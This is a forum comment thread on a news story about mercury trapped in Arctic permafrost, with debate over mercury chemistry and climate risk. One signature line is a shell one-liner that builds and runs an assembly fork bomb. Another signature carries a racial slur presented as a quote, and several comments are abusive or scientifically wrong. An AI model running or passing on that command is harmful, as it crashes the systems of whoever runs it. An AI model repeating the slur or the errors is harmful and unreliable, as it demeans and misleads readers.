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The Arctic is Full of Toxic Mercury, and Climate Change is Going To Release it (washingtonpost.com)
We already knew that thawing Arctic permafrost would release powerful greenhouse gases. On Monday, scientists revealed it could also release massive amounts of mercury -- a potent neurotoxin and serious threat to human health. From a report: Permafrost, the Arctic's frozen soil, acts as a massive ice trap that keeps carbon stuck in the ground and out of the atmosphere -- where, if released as carbon dioxide, the greenhouse gas would drive global warming. But as humans warm the climate, they risk thawing that permafrost and releasing that carbon, with microbial organisms becoming more active and breaking down the ancient plant life that had previously been preserved in the frozen earth. That would further worsen global warming, further thawing the Arctic -- and so on. That cycle would be scary enough, but U.S. government scientists on Monday revealed that the permafrost also contains large volumes of mercury, a toxic element humans have already been pumping into the air by burning coal. There are 32 million gallons worth of mercury, or the equivalent of 50 Olympic swimming pools, trapped in the permafrost, the scientists wrote in a study published in the journal Geophysical Research Letters. For context, that's "twice as much mercury as the rest of all soils, the atmosphere, and ocean combined," they wrote.
I like thermometers. If you filled 67 billion thermometers with mercury and laid them end to end you would reach the sun.
I am a bit disappointed in this one, msmash.
I mean, you knocked it out of the park with the AGW fear mongering, but it lacks pretty much completely in all other SJW categories. You could at least have found a link that blamed the patriarchy for all this.
It's like you just aren't trying anymore.
My personal favorite on this is the lack of knowledge about mercury in this. They make it sound like the melting of the ice caps will release a torrent of liquid mercury, even though the melting point of it is -38C, a temperature we regularly get above right now in the arctic, and also that mercury is usually caught up in various sulfate forms and is very rarely found in its metallic form in nature and as such doesn't melt until you get it up to several hundred degrees.
I found out what that thing you just incinerated did. It was a glacier they installed after I flooded the earth with a deadly neurotoxin to make me stop flooding the earth with a deadly neurotoxin, so get comfortable while I warm up the neurotoxin emitters.
Ah, that glacier may have had some ancillary responsibilities. I can't shut off the flooding defenses. Oh well.
"When information is power, privacy is freedom" - Jah-Wren Ryel
Not at all.
The conclusions from the study include the following:
This makes the reservoir of Hg in permafrost soils vulnerable to release over the next century, with unknown consequences to the environment.
and
Northern Hemisphere permafrost soils contain nearly twice as much Hg as all other soils, the ocean, and the atmosphere combined, indicating a need to reevaluate the role of the Arctic regions in the global Hg cycle. This Hg is vulnerable to release as permafrost thaws over the next century.
I think they did a good job pre-empting Joe Sixpack telling scientists to stay out of politics. Anonymous Coward seeing left wing bias in the news is a another story.
That a popular article doesn't give a perfectly accurate description shouldn't be shocking but if you go to the actual research article http://onlinelibrary.wiley.com/doi/10.1002/2017GL075571/full?wol1URL=/doi/10.1002/2017GL075571/full there concern is pretty clear about airborne and water soluble organic mercury compounds which are far more dangerous than metallic mercury or most inorganic mercury compounds. Metallic mercury and inorganic mercury is pretty safe. You can hold a ball of mercury in your hand without any real consequences. But organic mercury compounds can be much more dangerous. It took just a drop of dimethyl mercury https://en.wikipedia.org/wiki/Dimethylmercury on the outside of a glove to kill https://en.wikipedia.org/wiki/Karen_Wetterhahn. Of course, no one is going to directly die from this, but an increase in atmospheric and oceanic mercury levels could have a real negative impact on both the ecosystems and general human health.
The New American? Respectable scientists? What world are you in?
It says there is a bunch of mercury in a vulnerable system, not that it will be equitably distributed into your lunchables.
you should look up what "permafrost" means. also, mercury sulfates have non-zero bio-availability.
i guess they didn't cover these in young earth geology.
"They were pure niggers." – Noam Chomsky
Correct. Consider, however,
- many people have insurance is because an accident could happen to them.
- many people choose to live a healthy lifestyle because not doing so could increase their risk for heart diseases/diabetes/cancer/...
So as long as it affects you personally, you consider potential undesirable outcomes and take counter measures.
When it comes to the planet, however, who cares...
It's probably wise to start preparing for the changes that are coming. We're inherently lazy. It doesn't take a genius to notice that when it comes to protecting the environment or heath a lot of folks wait until it's almost too late before doing anything. It's one of the reasons why I find people who deny climate change for the most part disappointing. Most are playing the let's ignore it until it becomes a serious issue at which point it's either harder to fix or fatal. And in many ways it's already starting, many areas are seeing more flooding, fires and general weather damage that they have never seen before. The flood of migrants into Europe are primarily folks in Africa fleeing multi-year droughts for example. Now I'm not one to say that the world will end but at the very least it might be a good idea to be prepared for it. Insurance companies for example are taking this seriously because they're often on the paying end when things go south because they don't want to go bankrupt when the next disaster hits.
As humans, we should take responsibility for our actions and clean up the messes we make, even if it's not an immediate threat. The environmental problems we face are a tragedy of the commons. To solve these issues, every product sold should have an additional tax for how much environmental damage was done in it's construction. The tax would go directly to companies that actually clean up the messes being made. This would solve the landfill problem in it's entirety and create a massive new job market dedicated toward reversing the damage already done.
The only remaining problem is the people who don't care about how badly they are damaging the planet as long as they save a buck.
Anons need not reply. Questions end with a question mark.
Agree, but Fox has been doing it for awhile on the right. The news has devolved into propaganda from both sides of the aisle. I don't see a solution and I don't see it ending well either.
No, it's not alarmism. I guess you don't want to be told there's a car coming, because that would "alarm" you and you're such a precious snowflake you cannot be allowed to hear discouraging words, no matter what.
asshole.
Learn some science and find out how wrong you are.
Another msmash abortion of an article about doom and gloom that probably won't happen.
And yet it melts...
Oh you absolutely do "show problem," but the mercury affected you in a way that prevents you from seeing it.
Why must you be so precious? He wasn't spiteful,you were wrong and you have to find some way to make it THEIR fault YOU were wrong.
Own up to your errors. Stop blaming everyone else for them.
That absolutely wrong. Mercury, like just about all liquids, evaporates at room temperature. I mean, you don't need to know much about science to notice that if you leave a puddle of water on your kitchen floor alone it will eventually evaporate. Most of the mercury in the atmosphere is in its "metallic" or elemental form because mercury compounds are frequently reduced in nature.
Since when does the "sniff test" trump a paper in a peer-reviewed journal, written by scientists from the US Geological Survey? The introduction to the paper suggests a mechanism (with citations) by which mercury is concentrated in the permafrost.
Does it...
Want to Break Free?
First, it is far less toxic in those forms, but it is still toxic. Also there are numerous ways in which mercury transforms into toxic methylated forms; older chlor-allkali plants can produce large amounts of methylmercury (chemically identical to bacterially-created methylmercury), methylation can possibly happen in the body itself, and it can occur through abiotic processes in the water column.
Secondly, mercury inhalation can occur at temperatures far below the substance's boiling point. That's why cinnabar miners -- not just smelters -- are frequently exposed to dangerous amounts. I really don't get why so many people on slashdot think that evaporation only happens at boiling, when there are so many real-world, easily observable processes that contradict that.
It's no longer alarmism. It's basically cynical gallows humor. At least on my side.
I don't give a fuck anymore. I have about 30 years left. Maybe 40. More likely 20. The world will survive that long, and after that you can all go to hell with me as far as I'm concerned. I'm no longer trying to save your planet for people who don't give a fuck themselves.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
We aren't talking about a river of silvery mercury running down the Hudson. What we're dealing with here, and what you'd know if you actually bothered to read the article, is mercury trapped in plants that cannot decay due to temperatures too low for natural decay to occur. Mercury, and that's what makes it such a dangerous stuff, binds readily to organic material. Any mercury that does exist gets sequestered in the plants that can actually live in such an environment, many of which never decay properly to release that mercury back into the environment.
Thaw them and they will.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
It evaporates into the air, where it can circulate around the globe until it is deposited into aquatic ecosystems by either dry (settling of elemental forms) or wet (oxidation and subsequent scavenging by precipitation). After it's oxidized (and elemental forms can oxidize through a number of different processes in the terrestrial and aquatic environments) it is methylated through mostly bacterial action and can bioaccumulate to dangerous levels.
It doesn't stay in the arctic; evaporated elemental mercury can travel in the atmosphere for 6 months to a year before it's deposited.
Didn't get the memo? "Common sense" and "I feel it's that way" is the new gold standard for truth. Welcome to the post-factual times.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
From TFA: "...the Arctic is special. Normally, as plants die and decay, they decompose and mercury is released back to the atmosphere. But in the Arctic, plants often do not fully decompose. Instead, their roots are frozen and then become buried by layers of soil. This suspends mercury within the plants, where it can be remobilized again if permafrost thaws."
The same way that big fish have a higher mercury content than little fish. If an organism consumes mercury laden air/water, it collects in their bodies. With fish, that collection time is their lifespan. With the arctic, it remains trapped even after the organism dies due to the preservative effect of the cold.
I'm part of that rest, but my patience wears thin. If we're willing to let those idiots run the planet into the ground, we deserve what we get.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
OK, 50 olympic pools of mercury sounds pretty dangerous. If someone dropped 50 pools of mercury somewhere, this definitly would be dangerous. But then again: How did it get there? Why concentrated in the arctic? I'm pretty sure no one disposed the worlds obsolete mercury thermometers there, so... coal burning? How many coal was burned in the arctic? Probably not much compared to past and modern industrial centers.
So I'm setting up this hypothesis: If coal burning is the main source of mercury, the arctic received much less of mercury than any other part of the world. Only due to the climatic situation there, it was trapped in the ice. But then, even tose 50 pools can only be a fraction of mercury pollution compared to the rest of the world.
If wood floats, witches float, ice floats, and witches are made out of wood, clearly witches put mercury in the arctic. Why are you blaming this all on thermometers and coal when witches are out terrorizing the world?
Why does everyone need to have their own "theory" for how these sorts of systems work? If you care enough to post a theory, why not read the actual paper?
SWM seeks new sig for a brief fling
The Science seems sound. Incoming Gaia smiting of humanity for heresy unless we all agree to go vegan and cycle everywhere.
Don't listen to Alt RIght, racist misogynist pro Putin Nazi Trump Terrorists who tell you the left is a church of no salvation. Give up your SUVs, free speech rights, guns and beef and you will enter the promised land just like Cat Lady Ascendancy Hierophant Hillary Clinton did.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Comment removed based on user account deletion
Your link clearly shows that the article claims half of all life science research is flawed. You appear to be an example of the "truthiness" that Opportunist (the GP) laments.
Science is a human endeavor, and thus is subject to human error. But it embraces a philosophy of continual review and self-correction.
If it weren't for deadlines, nothing would be late.
Scientific "findings" isn't a binary black box. It's a long process from gathering samples and measuring them all down to distilling this results and maybe, eventually, using them to formulate a hypothesis, test it against competing hypotheses, maybe formulate a theory even. And yes, at every step there's human error possible.
So yes, your results may be wrong. Does that invalidate your measurements? No. At least not necessarily. It means you drew the wrong conclusions and maybe someone found an explanation that explains the results better, with fewer contradictions.
Example: Miasma theory. Observation: People get sick in areas where there is lots of shit and decaying stuff. Conclusion: It smells bad, so there is something in the air that they breathe in that makes them sick. Solution: Make sure the air doesn't smell bad and people won't get sick. Results: Poor, people still got sick even if they covered their faces with clothes soaked in perfume.
Classic example of a correct observation and drawing the wrong conclusion. The observation is correct, because people got sick of the bacteria in the feces that contaminated drinking water and from handling infected people and their belongings. The conclusion was not correct because they thought it was the stench that made people sick, not that there was something that created the stench AND made people sick.
So yes, I don't doubt that 50% (likely more) of the end results of research is thrown out if reevaluated. Does that mean that 50% or more of the measurements are bogus? Most likely not.
We have been measuring temperature for centuries. The earliest recorded temperature measurements date to the 1600s. Are they valid? Yes. They are not as accurate as our measurements today and we have to assume a fairly large margin of error compared to modern thermometers, but that does not invalidate their measurements, all it means is that we have to take that error into account when using these values.
Likewise, measurements, unless they are for some reason invalidated by circumstances or forgery, are valid working material, even if the result that they were the foundation for turns out to be wrong.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.